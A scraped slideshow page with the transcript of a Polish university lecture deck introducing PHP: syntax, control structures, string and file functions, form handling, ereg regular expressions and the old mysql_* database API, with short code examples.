narz dzia internetowe n.
Download
Skip this Video
Loading SlideShow in 5 Seconds..
Narzędzia internetowe PowerPoint Presentation
Download Presentation
Narzędzia internetowe

Loading in 2 Seconds...

play fullscreen
1 / 169

Narzędzia internetowe - PowerPoint PPT Presentation


  • 215 Views
  • Uploaded on

Narzędzia internetowe. Paweł Rajba pawel@ii.uni.wroc.pl http://pawel.ii.uni.wroc.pl/. PHP – Wprowadzenie. Akronim rekursywny "PHP: Hypertext Preprocessor" Tworzonym na zasadach Open Source Dostępny jako moduł lub CGI pod wieloma platformami: Unix, Linux, Windows, MacOS

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'Narzędzia internetowe' - hide


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
narz dzia internetowe

Narzędzia internetowe

Paweł Rajba

pawel@ii.uni.wroc.pl

http://pawel.ii.uni.wroc.pl/

php wprowadzenie
PHP – Wprowadzenie
  • Akronim rekursywny "PHP: Hypertext Preprocessor"
  • Tworzonym na zasadach Open Source
  • Dostępny
    • jako moduł lub CGI
    • pod wieloma platformami: Unix, Linux, Windows, MacOS
    • z wieloma serwerami HTTP: Apache, IIS, iPlanet, Xitami, OmniHTTPd
php wprowadzenie1
PHP – Wprowadzenie
  • Język skryptowy uruchamiany po stronie serwera (ewentualnie po stronie klienta)
  • Możliwość zagnieżdżania znaczników HTML
  • PHP może generować dowolny kod, czyli poza HTML np. XML lub nawet obrazki
php pierwszy przyk ad
PHP – Pierwszy przykład

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>

<title>Przykładzik</title>

</head>

<body>

<?php echo "Oto przykład pierwszy."; ?>

</body>

</html>

php sposoby u ycia
PHP – sposoby użycia
  • Skrypty po stronie serwera
    • serwer WWW
    • parser PHP
    • przeglądarka
  • Skrypty z linii poleceń
    • parser PHP
    • zastosowanie do przetwarzania tekstu
    • uruchamiane w cronie lub menedżerze zadań
  • Aplikacje po stronie klienta (np. PHP-GTK)
php i bazy danych
Adabas D

Ingres

Oracle (OCI7 i OCI8)

dBase

InterBase

Ovrimos

Empress

FrontBase

PostgreSQL

FilePro

mSQL

SolidHyperwave

Direct MS-SQL

Sybase

IBM DB2

MySQL

Velocis

Informix

ODBC

Unix dbm

PHP i bazy danych
php osadzanie skrypt w
PHP – osadzanie skryptów

<? echo "To jest skrypt"; ?>

<?= "To jest ten sam skrypt"; ?>

<?php echo "W XHTML i XML lepiej tak"; ?>

<% echo "To znowu jest skrypt"; %>

<%= "To znowu jest ten sam skrypt"; %>

<script language="php">

echo "Można też tak";

</script>

php kilka uwag
PHP – kilka uwag
  • Instrukcje należy kończyć średnikiem
  • PHP poza trybem "PHP" przepisuje tekst bez zmian
  • Komentarze
    • //, # – jednowierszowe
    • /* ... */ – blokowe
php zmienne
PHP – zmienne
  • Zmienne są dynamicznie typowane
  • Poprzedzamy znakiem $
  • W nazwach małe i wielkie litery są rozróżniane

<?

$Imie = "Jas";

$imie = " Marysia";

$Nazwisko = " Rozpita";

echo $Imie, $imie, $Nazwisko;

?>

php zmienne1
PHP – zmienne
  • Przypisanie przez referencję:

<?

$halasuje = "Zmyłer";

$sondaze = &$halasuje;

$sondaze = "Pepler";

echo $halasuje." i prowadzi ".$sondaze;

?>

  • Tylko nazwane wyrażenia mogą być przypisane przez referencję

<? $heja = &(666*69); ?> // ŹLE

php funkcje do zmiennych
get_defined_vars

get_resource_type

doubleval

floatval

strval

is_array

is_bool

is_callable

is_double

is_float

is_int

is_integer

is_long

is_numeric

is_object

is_real

is_resource

is_scalar

is_string

is_null

print_r

settype

serialize

unserialize

isset

unset

PHP – funkcje do zmiennych
php sta e
PHP – stałe
  • Definiujemy za pomocą funkcji define()

bool define(string nazwa,

mixed wartość

[, bool case_insensitive])

<?

define(STALA,"Ahoj!!!");

echo Stala; // Stala

define(STALA,"Ahoj!!!",true);

echo Stala; // Ahoj!!!

?>

php sta e1
PHP – stałe
  • Sprawdzamy czy zdefiniowana za pomocą funkcji defined()

bool defined (string nazwa_stalej)

<?

define(STALA,"Ahoj!!!",true);

echo(defined('Stala') ? "Jest" : "Nie jest");

?>

php sta e2
PHP – stałe
  • Funkcja mixed constant(string name) pobiera wartość stałej
  • Funkcja array get_defined_constants() pobiera tablicę stałych

<?

print_r(get_defined_constants());

?>

php typy danych
PHP – typy danych
  • Skalarne
    • boolowski: boolean
    • liczby całkowite: integer
    • liczby zmiennoprzecinkowe: float
    • łańcuchy znaków: string
php typy danych1
PHP – typy danych
  • Złożone
    • tablice: array
    • obiekty: object
  • Specjalne
    • identyfikatory zasobów: resource
    • puste: null
php typy danych2
PHP – typy danych
  • Boolowski: TRUE,FALSE
  • Liczby całkowite: 1234,-123,0123,0xABC
  • Liczby zmiennoprzecinkowe: 1.2,3E-2
  • Łańcuchy znaków
    • pojedyncze cudzysłowy
    • podwójne cudzysłowy
    • składnia heredoc
php wi cej o napisach
PHP – więcej o napisach
  • Podwójne cudzysłowy powoduje zamianę nazwy zmiennej na jej wartość
  • Znaki specjalne: \n, \r, \t, \\, \$, \"
  • Składnia heredoc

$s = <<<EOD

To jest taki sobie\n

napis żeby było

EOD;

  • Offset: $s{0}, $s[5]
php przyk ady
PHP – przykłady
  • echo 'Tekst'
  • echo 'To jest \'cytat\' stulecia'
  • echo 'Taki "\'c\'u\'ś\'" inny'
  • echo 'Tak \n nie zadziała'
  • $zmienna = "papier"
  • echo "$zmienna"
  • echo "${zmienna}owe torebki"
php tablice
PHP – tablice
  • Konstruktor array

array( [klucz =>] wartość, ...)

    • klucz – napis lub nieujemna liczba całkowita
    • wartość – cokolwiek
  • Przypisywanie wartości
    • $tablica[klucz] = wartość;
    • $arr[] = wartość;

// kluczem będzie kolejna liczba

php tablice1
PHP – tablice
  • Usuwanie pary (klucz, wartość)

$a = array(1 => 'jeden',

2 => 'dwa',

3 => 'trzy' );

unset($a[2]);

/* to tak, jakby utworzyć tablicę:

$a = array(1 => 'jeden', 3 => 'trzy');

ale NIE:

$a = array(1 => 'jeden', 2 => 'trzy');

*/

php tablice2
PHP – tablice

$wypasiona_zmienna = array(

"owoce" =>

array("a" => "pomarańcza",

"b" => "banan",

"c" => "jabłko"),

"liczby" => array(1,2,3,4,5,6),

"dziury" => array(

"pierwsza",

5 => "druga",

"trzecia")

);

$x = $wypasiona_zmienna['dziury'][5];

php obiekty
PHP – obiekty

<?php

class kasa{

function rabuj()

{

echo "Rabujemy kase...";

}

}

$bzwbk = new kasa();

$bzwbk->rabuj();

?>

php if else elseif
PHP – if, else, elseif
  • <?phpif ($var > 5){ $answ = $var1;}else{  $answ = $var2;}?>
  • $answ = ( $var > 5 ? $var1 : $var2 );
php if else elseif1
PHP – if, else, elseif
  • <?php

if (wyrazenie-logiczne) {

?>

<strong>prawda</strong>

<?php

} else{

?>

<strong>fałsz</strong>

<?php

}

?>

php if else elseif2
PHP – if, else, elseif
  • if ($a > $b) {

print "a jest większe niż b";

} elseif ($a == $b) {

print "a jest równe b";

} else {

print "a jest mniejsze niż b";

}

  • <?php if ($a == 5): ?>

A jest równe 5

<?php endif; ?>

php p tla while do
PHP – pętla while..do
  • $i = 1;

while ($i <= 10) {

print $i++;

}

  • $i = 1;

while ($i <= 10):

print $i;

$i++;

endwhile;

php p tla do while
PHP – pętla do..while
  • $i = 0;

do {

print $i;

} while ($i>0);

php p tla for
PHP – pętla for
  • for ($i = 1; $i <= 10; $i++) {

print $i;

}

  • for ($i = 1;;$i++) {

if ($i > 10) break;

print $i;

}

  • $i = 1;

for (;;) {

if ($i > 10) break;

print $i++;

}

  • for ($i = 1; $i <= 10; print $i, $i++);
php petla foreach
PHP – petla foreach

foreach(tablica as $wartość) wyrażenie

foreach(tablica as $klucz => $wartość) wyrażenie

$a = array(1, 2, 3, 17);

foreach ($a as $v) {

print "Aktualna wartość \$a: $v.<br>\n";

}

foreach ($tabl as $key => $value) {

echo "Klucz: $key; Wartość: $value<br>\n";

}

php petla foreach1
PHP – petla foreach

$a = array (

"jeden" => 1,

"dwa" => 2,

"trzy" => 3,

"siedemnaście" => 17

);

foreach($a as $k => $v) {

print "\$a[$k] => $v.\n";

}

php petla foreach2
PHP – petla foreach

$a[0][0] = "a";

$a[0][1] = "b";

$a[1][0] = "y";

$a[1][1] = "z";

foreach($a as $v1) {

foreach ($v1 as $v2) {

print "$v2\n";

}

}

foreach(array(1, 2, 3, 4, 5) as $v) {

print "$v\n";

}

php break continue
PHP – break, continue
  • Break i continue akceptuje opcjonalny argument, który mówi, ile zagnieżdzonych struktur kontrolnych ma zostać opuszczonych w danym momencie

$i=0;

while (++$i) {

for ($j=0; $j<10; $j++)

if ($i*$j==12) break 1;

if ($i*$j==69) break 2;

}

php switch
PHP – switch

<?

switch ($i):

case 0:

print "i jest równe 0"; break;

case 1:

print "i jest równe 1"; break;

default:

print "i jest różne od 0 i 1";

endswitch;

?>

php switch1
PHP – switch

<?

$imie = 'ala';

switch ($imie) {

case 'ala':

echo "ma kota"; break;

case 'zuzia':

echo "nic nie ma"; break;

default: echo "reszta się nie liczy";

}

?>

php return
PHP – return, ...
  • Instrukcja return(): wywołana z wnętrza funkcji, natychmiastowo kończy wykonywanie tej funkcji i zwraca jako jej wartość swój argument.
  • Składnia alternatywna: dostępna dla poleceń if, while, for, foreach i switch. Polega na zamianie nawiasu otwierającego { na dwukropek, a nawiasu zamykającego } na słowo endif, endwhile, endfor, endforeach i endswitch odpowiednio.
php zewn trzne pliki
PHP – zewnętrzne pliki
  • Instrukcje
    • include()
    • require()
    • include_once()
    • require_once()
  • Czym to się różni?
php zewn trzne pliki1
PHP – zewnętrzne pliki

vars.php

<?php

$kolor = 'zielone';

$owoc = 'jabłko';

?>

test.php

<?php

echo "Jedno $kolor $owoc"; // Jedno

include 'vars.php';

echo "Jedno $kolor $owoc";

// Jedno zielone jabłko

?>

php obs uga napis w
PHP – obsługa napisów
  • void echostring s1 [, string sn ...]
    • wypisuje s1, ..., sn
    • echo "ala","ma kota"
  • string ltrim(string str [, string charlist])
    • usuwa białe znaki z początku str; opcjonalnie można podać w charlist jakie znaki ma usunąć
    • domyślnie usuwa: " ", "\t", "\n", "\r", "\0", "x0B" (ASCII: 32, 9, 10, 13, 0, 13)
php obs uga napis w1
PHP – obsługa napisów
  • string rtrim(string str [, string charlist])
    • usuwa białe znaki z końca str
  • string trim(string str [, string charlist])
    • usuwa białe znaki z obu stron str
  • string chr(int ascii)
    • zwraca string zawierający znak o kodzie określonym w ascii
  • int ord(string str)
    • zwraca kod pierwszego znaku z str
php obs uga napis w2
PHP – obsługa napisów
  • int strcmp(string str1, string str2)
    • jeśli str1<str2, to zwraca -1
    • jeśli str1>str2, to zwraca 1
    • jeśli str1=str2, to zwraca 0
  • int strpos(string gdzie, string co [, int offset])
    • wyszukuje pierwszego wystąpienia co w gdzie
    • jeśli co nie występuje w gdzie zwracane jest coś równoważne FALSE
    • jeśli podamy offset, to wyszukiwanie rozpocznie się od pozycji określonej przez offset.
php obs uga napis w3
PHP – obsługa napisów
  • funkcja strpos() – przykład

$napis = 'abc';

$szukaj = 'a';

$pos = strpos($napis, $szukaj);

if ($pos === false) {// WAŻNE

echo "Nie znaleziono";

} else {

echo "Znaleziono na pozycji $pos";

}

php obs uga napis w4
PHP – obsługa napisów
  • int strrpos(string gdzie, char co)
    • działa podobnie do strpos() tylko, że wyszukuje od prawej strony
    • możemy wyszukiwać tylko pojedynczy znak
  • int strlen(string s)
    • zwraca długość s
  • string strtolower(string str)
    • zwraca str z powymienianymi wielkimi literami na małe
php obs uga napis w5
PHP – obsługa napisów
  • string strtoupper(string str)
    • zwraca str z powymienianymi małymi literami na wielkie
  • stringstrstr(string str1, string str2)
    • zwraca część str1 od pierwszego wystąpienia str2

$email = 'pawel@wp.pl';

$domena = strstr($email, '@');

echo $domena; // @wp.pl

php obs uga napis w6
PHP – obsługa napisów
  • string substr(string str, int start [, int length])
    • zwraca length znaków str od pozycji start;
    • domyślnie length jest do końca str

echo substr("abcdef", 1); // "bcdef"

echo substr("abcdef", 0, 4); // "abcd"

echo substr("abcdef", 0, 8); // "abcdef"

  • int substr_count(string str1, string str2)
    • zwraca ilość wystąpień str2 w str1

echo substr_count("aaaaa","aa") // 2

php obs uga napis w7
PHP – obsługa napisów
  • int substr_replace(string s1, string s2,

int start [, int length])

    • wymienia w s1 część długości length i zaczynającą się w start na s2

echo substr_replace("Łosie mają w nosie","grają na",6,6);

// Łosie grają na nosie

php obs uga napis w8
PHP – obsługa napisów
  • array explode(string separator, string str

[, int limit])

    • dzieli str względem separator
    • jeśli ustawimy limit, to tablica wynikowa będzie zawierała co najwyżej limit elementów, w ostatnim resztę str

$liczby = "1,23,32,44";

$tablica = explode(",", $liczby);

echo $tablica[1]; // 23

php obs uga napis w9
PHP – obsługa napisów
  • string implode(string glue, array pieces)
    • tworzy string zawierający po kolei elementy z pieces rozdzielone glue

$tab = array('osoba','email','tel');

$lista = implode(",", $array);

echo $lista; // osoba,email,tel

  • string strrev(string str)
    • odwraca str

echo strrev("Kilof"); // "foliK"

php obs uga napis w10
PHP – obsługa napisów
  • string strip_tags(string str [, string dobre_tagi])
    • usuwa z str tagi HTML poza tymi określonymi w dobre tagi

$s = strip_tags($string,'<a><b><i><u>')

  • string wordwrap (string str [, int width [, string break [, boolean cut]]])
    • łamie str w białych znakach do długości width, słowem break
    • jeśli chcemy przecinać za długie słowa, to cut ustawiamy na 1
php obs uga napis w11
PHP – obsługa napisów
  • funkcja wordwrap() – przykład

$text = "Bardzo długie i nie za fajne słooooooooooooooooooooowo";

$lepszytekst = wordwrap($text, 8, "<br>\n");

echo "$newtext"

Bardzo

długie i

nie za

fajne

słooooooooooooooooooooowo

php obs uga napis w12
PHP – obsługa napisów
  • funkcja wordwrap() – przykład

$text = "Bardzo długie i nie za fajne słoooooooooooooooooooowo";

$goodtekst = wordwrap($text,8,"<br>\n");

echo "$goodtext"

Bardzo

długie i

nie za

fajne

słoooooooooooooooooooowo

php obs uga napis w13
PHP – obsługa napisów
  • funkcja wordwrap() – drugi przykład

$goodtext = wordwrap($text,8,"<br>\n",1);

echo "$goodtext"

Bardzo

długie i

nie za

fajne

słoooooo

oooooooo

oooooowo

php obs uga napis w14
PHP – obsługa napisów
  • string addslashes (string str)
    • dodaje znak "\" tam gdzie to jest potrzebne

$str = "Is your name O'reilly?";

// Is your name O\'reilly?

echo addslashes($str);

  • string addcslashes (string str, string charlist)
    • dodaje znak "\" przed każdy znak z charlist

$text = "Ala ma kota";

echo addcslashes($text, "ma");

// Al\a \m\a kot\a

php obs uga napis w15
PHP – obsługa napisów
  • string nl2br(string str)
    • zwraca str z wstawionymi <br /> przed każdym "\n"
  • string htmlspecialchars ( string string [, int quote_style [, string charset]])
    • wymienia znaki: <, >, &, ", ' na ich kody: &lt; &gt; &amp; &quot; &#039;
    • ' wymienia, jeśli włączone ENT_QUOTES
    • " wymienia, jeśli wyłączone ENT_NOQUOTES
php obs uga napis w16
PHP – obsługa napisów
  • string md5(string str)
    • oblicza MD5 hash od str
  • string md5_file (string filename

[, boolraw_output])

    • oblicza MD5 hash pliku podanego jako parametr
  • string bin2hex (string str)
    • zamienia ciąg binarny na heksadecymalną reprezentację
php obs uga plik w
PHP – obsługa plików
  • int fopen(string nazwa,string tryb)
    • otwiera plik lub URL
    • nie są obsługiwane przekierowania (należy URL kończyć slaszem)
    • tryby
      • r – otwiera plik tylko do odczytu i ustawia wskaźnik na początku pliku
      • r+ – otwiera plik do odczytu i zapisu oraz ustawia wskaźnik na początku pliku
php obs uga plik w1
PHP – obsługa plików
  • tryby c.d.
    • w – otwiera plik tylko do zapisu i ustawia wskaźnik na początku pliku; zawartość pliku jest usuwana lub jeśli plik nie istnieje to jest tworzony
    • w+ – otwiera plik do odczytu i zapisu oraz ustawia wskaźnik na początku pliku; zawartość pliku jest usuwana lub jeśli plik nie istnieje to jest tworzony
    • a – otwiera plik do zapisu; ustawia wskaźnik na końcu pliku; jeśli plik nie istnieje to jest tworzony
    • a+ – otwiera plik do odczytu i zapisu; ustawia wskaźnik na końcu pliku; jeśli plik nie istnieje to jest tworzony
php obs uga plik w2
PHP – obsługa plików
  • fopen – przykłady:

$fp= fopen("/home/pawel/plik.txt", "r");

$fp= fopen("/home/pawel/img.jpg", "rb");

$fp= fopen("http://www.php.net/", "r");

$fp= fopen("ftp://jjs:tajne@wp.pl/", "w");

$fp = fopen("c:\\dane\\plik.txt", "r");

php obs uga plik w3
PHP – obsługa plików
  • string fgetc(int fp)
    • pobiera znak z wskaźnika pliku
    • jeśli jest koniec pliku, to zwraca FALSE
  • string fgets(int fp [, int długość])
    • pobiera linię z wskaźnika pliku
    • możemy określić długość
    • domyślna długość wiersza, to 1024 znaki
    • jeśli jest koniec pliku, to zwraca FALSE
php obs uga plik w4
PHP – obsługa plików
  • string fgetss(int fp, int długość

[, string dozwolone_tagi])

    • pobiera linię ze wskaźnika pliku i usuwa tagi HTML i PHP
    • $linia = fgetss($fp,4096,"<i><b>");
  • string fread(int fp, int długość)
    • czyta z pliku binarnie do długość bajtów
    • czytanie się kończy po odczytaniu długość bajtów lub po osiągnięciu końca pliku
php obs uga plik w5
PHP – obsługa plików
  • mixed fscanf(int fp, string format)
    • przetwarza dane z pliku wg formatu

$fp = fopen("punkty.txt","r");

while ($row=fscanf($fp,"%s\t%d\n")) {

// zrób coś z wartościami

}

fclose($fp);

    • plik.txt:

dziki 200

łysy 60

warzywo 120

php obs uga plik w6
PHP – obsługa plików
  • array fgetcsv(int fp, int długość [, string delimiter])
    • czyta linię w formacie CSV
    • przetwarza i zwraca tablicę zawierającą odczytane pola
    • domyślnym separatorem jest ","
    • Przykład:

$fp = fopen ("wiersz.csv","r");

$data = fgetcsv ($fp, 1000, ":");

for ($c=0; $c<count($data); $c++) {

print $data[$c]."|";

}

fclose ($fp);

php obs uga plik w7
PHP – obsługa plików
  • int fwrite(int fp, string napis [, int length])
    • zapisuje do wskaźnika pliku
    • można określić długość
    • fwrite($fp,"ząbek"); fwrite($fp,"ząbek");

// będą zapisane obok siebie

  • int fputs(int fp, string str [, int długość])
    • alias do funkcji fwrite
  • bool fclose(int fp)
    • zamyka otwarty wskaźnik pliku i zwraca TRUE lub FALSE
php obs uga plik w8
PHP – obsługa plików
  • int copy(string źródło, string przeznaczenie)
    • kopiuje plik
    • jeśli plik docelowy istnieje, to zostanie nadpisany
    • Przykład:

if (!copy($file, $file.'.bak')) {

print ("Błąd przy kopiowaniu.<br>\n");

}

  • bool rename(stara_nazwa, nowa_nazwa)
    • zmienia nazwę pliku
    • rename("c:\\plik1.txt","c:\\plik2.txt");
php obs uga plik w9
PHP – obsługa plików
  • int unlink(string nazwa_pliku)
    • kasuje plik
    • zwraca TRUE lub FALSE
    • w przypadku braku pliku pojawi odpowiednie ostrzeżenie
  • bool file_exists(string nazwa_pliku)
    • sprawdza, czy plik istnieje
  • int filesize(string nazwa_pliku)
    • zwraca rozmiar pliku w bajtach
php obs uga plik w10
PHP – obsługa plików
  • int ftruncate(int fp, int rozmiar)
    • przycina plik fp do podanego rozmiaru
  • int mkdir(string pathname, int mode)
    • tworzy katalog
    • jeżeli istnieje, to pojawi się odpowiednie ostrzeżenie
    • mkdir("/path/to/my/dir", 0700);
  • bool rmdir( string dirname)
    • usuwa katalog
    • jeżeli katalogu nie ma, to pojawi się odpowiednie ostrzeżenie
php obs uga plik w11
PHP – obsługa plików
  • string dirname(string ścieżka)
    • zwraca ścieżkę podanego pliku
    • print dirname("c:\\xxx\\plik.txt");

// zwróci c:\xxx

  • bool is_dir(string nazwa)
    • mówi o tym, czy nazwa jest katalogiem
  • bool is_file(string nazwa)
    • mówi o tym, czy nazwa jest zwykłym plikiem
php obs uga plik w12
PHP – obsługa plików
  • array pathinfo(string path)
    • zwraca informację o path
    • <?php

$p = pathinfo("/www/htdocs/index.html");

echo $p["dirname"]."<br>\n";

echo $p["basename"]."<br>\n";

echo $p["extension"]."<br>\n";

?>

    • /www/htdocs

index.html

html

php obs uga plik w13
PHP – obsługa plików
  • int fseek(resource handle, int offset [, int whence])
    • ustawia kursor na odpowiedniej pozycji w pliku
    • opcję whence można ustawić na
      • SEEK_SET – ustawia kursor na pozycji równej dokładnie offset (domyślne)
      • SEEK_CUR – ustawia kursor na pozycji bieżąca+offset
      • SEEK_END – ustawia kursor na pozycji koniec pliku+offset
    • fseek($fp,-2,SEEK_END);

// na dwa znaki od końca

php obs uga plik w14
PHP – obsługa plików
  • bool rewind(fp)
    • ustawia kursor na początku pliku
  • int ftell(fp)
    • zwraca pozycję kursora w pliku
  • string tempnam(string dir, string prefix)
    • tworzy plik tymczasowy w katalogu dir o unikalnej nazwie zaczynającej się od prefix
php obs uga plik w15
PHP – obsługa plików
  • Przykład: pliki.html, punkty.txt
php formularze
PHP – formularze
  • Jak to działa?
  • Tablice zawierające przesłane dane
    • $_POST[ ] ($HTTP_POST_VARS[ ])
    • $_GET[ ] ($HTTP_GET_VARS[ ])
  • Przykład: login.php, gratulacje.html
  • Skalarne i wielowartościowe elementy formularza – przykład: dane.php
php formularze1
PHP – formularze
  • Kontrola poprawności danych formularza
    • za pomocą wyrażeń regularnych
    • za pomocą kontroli typów
php wyra enia regularne
PHP – wyrażenia regularne
  • Wyrażenia regularne
    • ereg– sprawdza dopasowanie do wyrażenia

bool ereg(string pattern,string string

[, array regs])

    • eregi– j.w., tylko funkcja jest case insensitive
    • ereg_replace– wymienia wyrażenie regularne

string ereg_replace ( string pattern,

string replacement, string string)

    • eregi_replace– j.w., tylko funkcja jest c. i.
php wyra enia regularne1
PHP – wyrażenia regularne
  • Wyrażenia regularne
    • split – dzieli napis na elementy rozdzielone przez wyrażenie regularne; zwraca tablicę tych elementów

array split(string pattern, string string

[, int limit])

    • spliti– j.w., tylko funkcja jest c.i.
  • Przykład: regexp.php
php obs uga mysql
PHP – obsługa MySQL
  • resource mysql_connect(

[string serwer

[,string użytkownik

[,string hasło]]])

    • łączy z bazą danych
    • domyślnie
      • serwer: "localhost:3306"
      • użytkownik: user będący właścicielem procesu MySQL
      • hasło: ""
php obs uga mysql1
PHP – obsługa MySQL
  • int mysql_create_db(string nazwa_bazy

[, resource identyfikator_połączenia])

    • tworzy bazę danych
  • bool mysql_select_db(string nazwa_bazy

[, resource identyfikator_połączenia])

    • wybiera bazę danych
php obs uga mysql2
PHP – obsługa MySQL
  • resource mysql_query(string zapytanie

[, resource identyfikator_połączenia

[, int typ_wyniku]])

    • wykonuje zapytanie zwracając zasoby
    • zapytania nie powinno się kończyć średnikiem
    • typ_wyniku może przyjmować następujące wartości:
      • MYSQL_USE_RESULT
      • MYSQL_STORE_RESULT (domyślne, wynik jest buforowany)
php obs uga mysql3
PHP – obsługa MySQL
  • resource mysql_unbuffered_query(string zapytanie

[, resource identyfikator_połączenia

[, int typ_wyniku]])

    • wysyła zapytanie nie pobierając i buforując wyniku
    • ma znaczenie przy zapytaniu generującemu duże wyniki; znacznie oszczędza pamięć
    • nie trzeba czekać na zakończenie zapytania; można od razu pracować na pierwszej krotce
    • nie można użyć funkcji mysql_num_rows()
    • przed wysłaniem kolejnego zapytania należy pobrać wszystkie wiersze.
php obs uga mysql4
PHP – obsługa MySQL
  • int mysql_insert_id([resource id_połączenia])
    • podaje numer ID wygenerowany przez auto_increment podczas ostatniej operacji INSERT

<?php

mysql_connect('localhost', 'user', 'pass') or

die('Nie można się połączyć');

mysql_select_db('test');

mysql_query("INSERT INTO osoba(imie,nazwisko,...)

values ('Paweł','Rajba',...)");

printf("Ostatnio dodany rekord ma id %d\n",

mysql_insert_id());

?>

php obs uga mysql5
PHP – obsługa MySQL
  • array mysql_fetch_array(resource wynik

[, int typ_wyniku])

    • zapisuje wiersz wyniku w tablicy asocjacyjnej lub zwraca null gdy nie ma więcej wierszy
    • typ_wyniku
      • MYSQL_ASSOC
      • MYSQL_NUM
      • MYSQL_BOTH (domyślne, zwraca tablicę asocjacyjną i indeksowaną numerycznie)
php obs uga mysql6
PHP – obsługa MySQL
  • array mysql_fetch_assoc(resource wynik)
    • równoważne

mysql_fetch_array( _ , MYSQL_ASSOC)

  • array mysql_fetch_row(resource wynik)
    • równoważne

mysql_fetch_array( _, MYSQL_NUM)

  • bool mysql_free_result(resource wynik)
    • zwraca całą pamięć przydzieloną wynikowi
php obs uga mysql7
PHP – obsługa MySQL
  • string mysql_error([resource id_połączenia])
    • zwraca tekst komunikatu z ostatnio wykonanej operacji
  • int mysql_errno([resource id_połączenia])
    • zwraca numer komunikatu błędu z ostatnio wykonanej operacji
  • bool mysql_close([resource id_połączenia])
    • zamyka połączenie z serwerem
php obs uga mysql8
PHP – obsługa MySQL
  • int mysql_num_rows(resource wynik)
    • zwraca liczbę wierszy w wyniku
    • stosuje się do polecenie SELECT
  • int mysql_affected_rows([resource conn_id])
    • zwraca liczbę przetworzonych wierszy
    • stosuje się do poleceń UPDATE, INSERT, DELETE
    • jeżeli DELETE zostanie wywołany bez klauzuli WHERE, to wtedy funkcja zwróci wartość 0
php obs uga mysql9
PHP – obsługa MySQL
  • bool mysql_data_seek(

resource identyfikator_wyniku,

int numer_wiersza)

    • przesuwa wewnętrzny wskaźnik do pozycji numer_wiersza
  • array mysql_fetch_lengths(resource wynik)
    • pobiera długość każdego pola pobranego za pomocą funkcji mysql_fetch_row (muszą być numerki)
php obs uga mysql10
PHP – obsługa MySQL
  • mysql_fetch_lengths – przykład:

<?php

...

$row = mysql_fetch_array($result,MYSQL_BOTH);

$len = mysql_fetch_lengths($result);

print $row["id"]." ";

print $row["name"]." ";

print $row["salary"]."<br>\n";

print $len[0]." ".$len[1]." ".$len[2]."<br>\n";

...

?>

php obs uga mysql11
PHP – obsługa MySQL
  • string mysql_field_table(

resource wynik, int ofset_pola)

    • pobiera nazwę tabeli w której znajduje się dane pole
    • może mieć znaczenie przy złączeniach
  • int mysql_num_fields(resource wynik)
    • zwraca liczbę pól w wyniku
  • string mysql_field_name(

resource wynik, int indeks_pola)

    • podaje nazwę danego pola w wyniku
php obs uga mysql12
PHP – obsługa MySQL
  • string mysql_field_type(

resource wynik, int ofset_pola)

    • pobiera typ podanego pola (int, real, string, ...)
  • int mysql_field_len(

resource wynik, int ofset_pola)

    • zwraca długość podanego pola
  • resource mysql_list_fields(string baza, string tabela [, resource identyfikator_połączenia])
    • zwraca informację o polach
php obs uga mysql13
PHP – obsługa MySQL
  • mysql_list_fields – przykład

<?php

...

$fields = mysql_list_fields('test','emp', $link);

$columns = mysql_num_fields($fields);

for ($i = 0; $i < $columns; $i++) {

echo mysql_field_name($fields, $i).":";

echo mysql_field_type($fields, $i).":";

echo mysql_field_len($fields, $i)."<br>\n";

}

...

?>

//id:int:11

//name:string:20

//salary:int:11

php obs uga mysql14
PHP – obsługa MySQL
  • resource mysql_list_tables(string baza

[, resource identyfikator_połączenia])

    • pobiera nazwy tabel z baza
  • string mysql_tablename(resource wynik, int i)
    • pobiera nazwę i-tej tabeli z wyniku funkcji mysql_list_tables
php obs uga mysql15
PHP – obsługa MySQL
  • Przykład:

<?php

...

$result = mysql_list_tables('test');

while ($row = mysql_fetch_row($result)) {

printf ("Tabela: %s\n",$row[0]);

}

for ($i=0; $i<mysql_num_rows($result); $i++) {

printf ("Tabela:%s\n",

mysql_tablename($result,$i));

}

...

?>

php obs uga mysql16
PHP – obsługa MySQL
  • Przykład: tabela.php, bazooka.php
php wysy anie plik w z formularza
PHP – wysyłanie plików z formularza
  • Kilka różnic między zwykłym formularzem, a takim do wysłania pliku:
    • należy obowiązkowo umieścić w znaczniku form atrybut enctype="multipart/form-data"
    • powinien się również pojawić element input z type="file"
    • możemy też umieścić element taki jak

<input type="hidden" name="MAX_FILE_SIZE" value="30000">

określi on maksymalny akceptowany rozmiar pliku; musi być przed input...file

php wysy anie plik w z formularza1
PHP – wysyłanie plików z formularza
  • Dyrektywy w pliku php.ini
    • file_uploads = On | Off

włącza/wyłącza możliwość uploadowania plików

    • upload_tmp_dir = ścieżka

określa tymczasowy katalog w którym będą składowane pobrane pliki; domyślnie nie jest to ustawione – rolę takiego katalogu pełni tymczasowy katalog w systemie (np. C:\Windows\Temp)

php wysy anie plik w z formularza2
PHP – wysyłanie plików z formularza
  • Dyrektywy... c.d.
    • upload_max_filesize = rozmiar

maksymalny akceptowany rozmiar uploadowanego pliku (domyślnie 2MB)

    • post_max_size = rozmiar

maksymalny akceptowany rozmiar przesyłanego formularza (domyślnie 8M)

php wysy anie plik w z formularza3
PHP – wysyłanie plików z formularza
  • Po wysłaniu, dostępne są następujące zmienne:
    • $_FILES["plik"]["name"]

– oryginalna nazwa pliku po stronie klienta

    • $_FILES["thefile"]["type"]

– typ zawartości wysłanego pliku

    • $_FILES["thefile"]["size"]

– rozmiar wysłanego pliku

    • $_FILES["thefile"]["tmp_name"]

– nazwa pliku przesłanego na serwer

    • $_FILES["thefile"]["error"] – kod błędu
php wysy anie plik w z formularza4
PHP – wysyłanie plików z formularza
  • Kody błędów, które mogą się pojawić przy wysyłaniu plików z formularza:
    • UPLOAD_ERR_OK (kod 0)

– operacja zakończyła się sukcesem

    • UPLOAD_ERR_INI_SIZE (kod 1)

– plik przekracza rozmiar określony dyrektywą upload_max_filesize w pliku php.ini

php wysy anie plik w z formularza5
PHP – wysyłanie plików z formularza
  • Kody błędów... c.d.
